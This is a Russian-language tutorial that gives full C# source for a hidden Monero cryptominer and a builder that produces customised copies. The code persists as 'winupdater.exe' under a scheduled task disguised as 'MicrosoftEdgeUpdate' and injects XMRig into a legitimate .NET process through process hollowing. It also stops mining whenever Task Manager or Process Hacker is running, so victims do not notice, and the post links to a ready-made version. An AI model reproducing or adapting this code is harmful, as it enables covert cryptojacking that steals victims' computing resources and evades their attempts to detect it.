April 21, 2022

Свой скрытый miner - builder на C#

https://t.me/VolVeRFM

Привет всем!

Сегодня покажу вам один из вариантов написание своего майнера, сделанного в билдер

Создаем проект C#, Консольное приложение (.NET Framework), выбираем платформу .NET Framework 4.6

Создаем, и первым делом пропишем установку нашего майнера, для этого я предпочитаю создать новый класс

После можно назвать его Installer, для удобства.

Code C#

public FileInfo FileName = new FileInfo("winupdater.exe"); // Задаем имя нашего майнера

public DirectoryInfo DirectoryName = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows")); // Задаем путь в appdata

Дальше создаем void, который будет создавать саму папку

public void IsInstalled() { Path.Combine(DirectoryName.FullName, FileName.Name); // Полный путь, с именем в папке }

public void CreateDirectory() { if (DirectoryName.Exists) // Делаем проверку return; DirectoryName.Create(); // Создаем }

Дальше создаем ещё один void с созданием файла в папке, это будет наш майнер, который считываем содержимое файла в виде массива байтов, и публикуем, все то что в содержимом файле.

public void InstallFile() { string path = Path.Combine(DirectoryName.FullName, FileName.Name); if (FileName.Exists) // Опять проверяем { foreach (Process process in Process.GetProcesses()) { try { if (process.MainModule.FileName == path) process.Kill(); // Если есть процес, то убиваем } catch { } } File.Delete(path);// Если есть папка, удаляем Thread.Sleep(280); // Задержка } using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write)) { byte[] buffer = File.ReadAllBytes(Application.ExecutablePath); // Считываем содержимое файла в виде массива байтов fileStream.Write(buffer, 0, buffer.Length); // И публикуем, все то что в содержимом файле } }

И запуск)

public void Run() { try { IsInstalled(); CreateDirectory(); InstallFile(); } catch { } }

Дальше идем в Program и в Main пишем следующий код

try { new Installer().Run(); } catch (Exception ex) { }

Дальше прыгаем в планировщик задач

string FileName = "winupdater.exe"; // Название процесса

string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows"); // Путь в appdata

try { var startInfo = new ProcessStartInfo // Идем в планировщик задач { FileName = "schtasks.exe", CreateNoWindow = false, WindowStyle = ProcessWindowStyle.Hidden, // Скрываем Arguments = @"/create /sc MINUTE /mo 3 /tn ""MicrosoftEdgeUpdate"" /tr """ + folder + "\\" + FileName + @""" /f" // Задаем аргументы }; Process.Start(startInfo); // Запускаем } catch { }

Дальше делаем обозначения

const string pool = "pool.hashvault.pro:80"; // Наши значения в строке pool const string moneroUsage = "25"; const string moneroWallet = ""; // Наши значения в строке moneroWallet

byte[] xmr = Resources.xmrig;

string args2 = "--algo rx/0 --donate-level 0 --max-cpu-usage " + moneroUsage + " -o" + pool + " -u " + moneroWallet; // Добавим аргументов

string withoutExtension1 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe"); // Путь для запуска

Дальше добавим лист

List<string> stringList = new List<string>(); // Создаем лист процессов при которых будет останавливаться stringList.Add("mmc"); stringList.Add("ProcessHacker"); stringList.Add("Taskmgr"); stringList.Add("Диспетчер задач");

try {

foreach (string processName in stringList) { for (Process[] processesByName = Process.GetProcessesByName(processName); processesByName.Length != 0; processesByName = Process.GetProcessesByName(processName)) { foreach (Process process in Process.GetProcessesByName(withoutExtension1)) { try { process.Kill(); } catch { } }

} }

}

catch { }

Дальше делаем запуск майнера

try { if (Process.GetProcessesByName(withoutExtension1).Length == 0) Program.PE.Run(xmr,"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe", args2); // Запускаем } catch { }

Дальше в классе Program, вставляем код

public static class PE { [DllImport("kernel32.dll")] private static extern unsafe bool CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, Program.PE.StartupInfo* lpStartupInfo, byte[] lpProcessInfo);

[DllImport("kernel32.dll")] private static extern long VirtualAllocEx( long hProcess, long lpAddress, long dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")] private static extern long WriteProcessMemory( long hProcess, long lpBaseAddress, byte[] lpBuffer, int nSize, long written);

[DllImport("ntdll.dll")] private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);

[DllImport("kernel32.dll")] private static extern bool SetThreadContext(long hThread, IntPtr lpContext);

[DllImport("kernel32.dll")] private static extern bool GetThreadContext(long hThread, IntPtr lpContext);

[DllImport("kernel32.dll")] private static extern uint ResumeThread(long hThread);

[DllImport("kernel32.dll")] private static extern bool CloseHandle(long handle);

public static unsafe void Run(byte[] payloadBuffer, string host, string args) { int num1 = Marshal.ReadInt32((object)payloadBuffer, 60); int num2 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 56); int nSize = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 60); int num3 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 16); short num4 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 2); short num5 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 16); long num6 = Marshal.ReadInt64((object)payloadBuffer, num1 + 24 + 24); Program.PE.StartupInfo startupInfo = new Program.PE.StartupInfo(); startupInfo.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(startupInfo); startupInfo.wShowWindow = (ushort)0; startupInfo.dwFlags = 1U; byte[] lpProcessInfo = new byte[24]; IntPtr num7 = Marshal.AllocHGlobal(1232 / 16); string lpCommandLine = host; if (!string.IsNullOrEmpty(args)) lpCommandLine = lpCommandLine + " " + args; string currentDirectory = Directory.GetCurrentDirectory(); Marshal.WriteInt32(num7, 48, 1048603); Program.PE.CreateProcess((string)null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &startupInfo, lpProcessInfo); long num8 = Marshal.ReadInt64((object)lpProcessInfo, 0); long num9 = Marshal.ReadInt64((object)lpProcessInfo, 8); int num10 = (int)Program.PE.ZwUnmapViewOfSection(num8, num6); Program.PE.VirtualAllocEx(num8, num6, (long)num2, 12288U, 64U); Program.PE.WriteProcessMemory(num8, num6, payloadBuffer, nSize, 0L); for (short index = 0; (int)index < (int)num4; ++index) { byte[] numArray = new byte[40]; Buffer.BlockCopy((Array)payloadBuffer, num1 + (24 + (int)num5) + 40 * (int)index, (Array)numArray, 0, 40); int num11 = Marshal.ReadInt32((object)numArray, 12); int length = Marshal.ReadInt32((object)numArray, 16); int srcOffset = Marshal.ReadInt32((object)numArray, 20); byte[] lpBuffer = new byte[length]; Buffer.BlockCopy((Array)payloadBuffer, srcOffset, (Array)lpBuffer, 0, lpBuffer.Length); Program.PE.WriteProcessMemory(num8, num6 + (long)num11, lpBuffer, lpBuffer.Length, 0L); } Program.PE.GetThreadContext(num9, num7); byte[] bytes = BitConverter.GetBytes(num6); long num12 = Marshal.ReadInt64(num7, 136); Program.PE.WriteProcessMemory(num8, num12 + 16L, bytes, 8, 0L); Marshal.WriteInt64(num7, 128, num6 + (long)num3); Program.PE.SetThreadContext(num9, num7); int num13 = (int)Program.PE.ResumeThread(num9); Marshal.FreeHGlobal(num7); Program.PE.CloseHandle(num8); Program.PE.CloseHandle(num9); }

[StructLayout(LayoutKind.Explicit, Size = 104)] public struct StartupInfo { [FieldOffset(0)] public uint cb; [FieldOffset(60)] public uint dwFlags; [FieldOffset(64)] public ushort wShowWindow; } }

Дальше для удобства создаем builder

Создаем и накидываем пару textBox для кошелька и пула, и button для создания build. Получаем вот такую картину

Дальше делаем значение button1_Click

CompilerParameters Params = new CompilerParameters(); Params.GenerateExecutable = true; Params.ReferencedAssemblies.Add("System.dll"); //Добавлем линк в исходный файл на System.dll Params.ReferencedAssemblies.Add("System.Windows.Forms.dll"); //Тоже самое но на System.Windwos.Forms.dlle Params.ReferencedAssemblies.Add("System.Management.dll"); Params.ReferencedAssemblies.Add("System.Core.dll"); Params.CompilerOptions = "/unsafe"; Params.CompilerOptions += "\n/t:winexe"; //Убираем cmd окно путём объявления программы Windows приложением Params.OutputAssembly = "Build.exe"; //Имя исходного файла

Дальше кидаем в ресурсы наш код, и xmrig

Дальше опять прописываем в button1_Click

string resource = Properties.Resources.Program; string resource2 = Properties.Resources.Installer; string resource3 = Properties.Resources.Resources_Designer;

Добавляем xmrig в ресурсы, для нашего компилятора

string resxPath2 = "VolVeRFMR.Properties.Resources";

using (var v = new ResourceWriter(Path.GetTempPath() + @"\" + resxPath2 + ".resources"))

{ v.AddResource("xmrig", Properties.Resources.xmrig); // Кидаем xmrig в ресурсы

}

Params.EmbeddedResources.Add(System.IO.Path.GetTempPath() + @"\" + resxPath2 + ".resources");

Дальше заменяем значения для textbox

resource = resource.Replace("*MASSEGE*", textBox1.Text); // Заменяем значения для MASSEGE resource = resource.Replace("*MASSEGE2*", textBox2.Text); // Заменяем значения для MASSEGE2

Идем в Program

и заменяем там так

const string pool = "*MASSEGE2*"; // Наши значения в строке pool

const string moneroWallet = "*MASSEGE*"; // Наши значения в строке moneroWallet

И дальше дописываем button1_Click

var settings = new Dictionary<string, string>(); settings.Add("CompilerVersion", "v4.0"); //Указываем версию framework-a 2.0

CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, resource, resource2, resource3);

if (Results.Errors.Count > 0) {

foreach (CompilerError err in Results.Errors) MessageBox.Show(err.ToString()); //Выводим циклом ошибки, если они есть } else { MessageBox.Show("Готово, файл появится в том же месте где и программа :)"); //Выводим сообщение что всё прошло успешно }

После этого делаем ресурсы, опять идем в Program, и заменяем

byte[] xmr = VolVeRFMR.Properties.Resources.xmrig;

Обязательно посмотрите как именно называется ваш namespace

И в Program пишем: using VolVeRFMR.Properties;

Запускаем, вводим значение и нажимаем Build, и если все работает

Кому надо уже готовый: https://github.com/VolVeRFM/CPU-Miner-Builder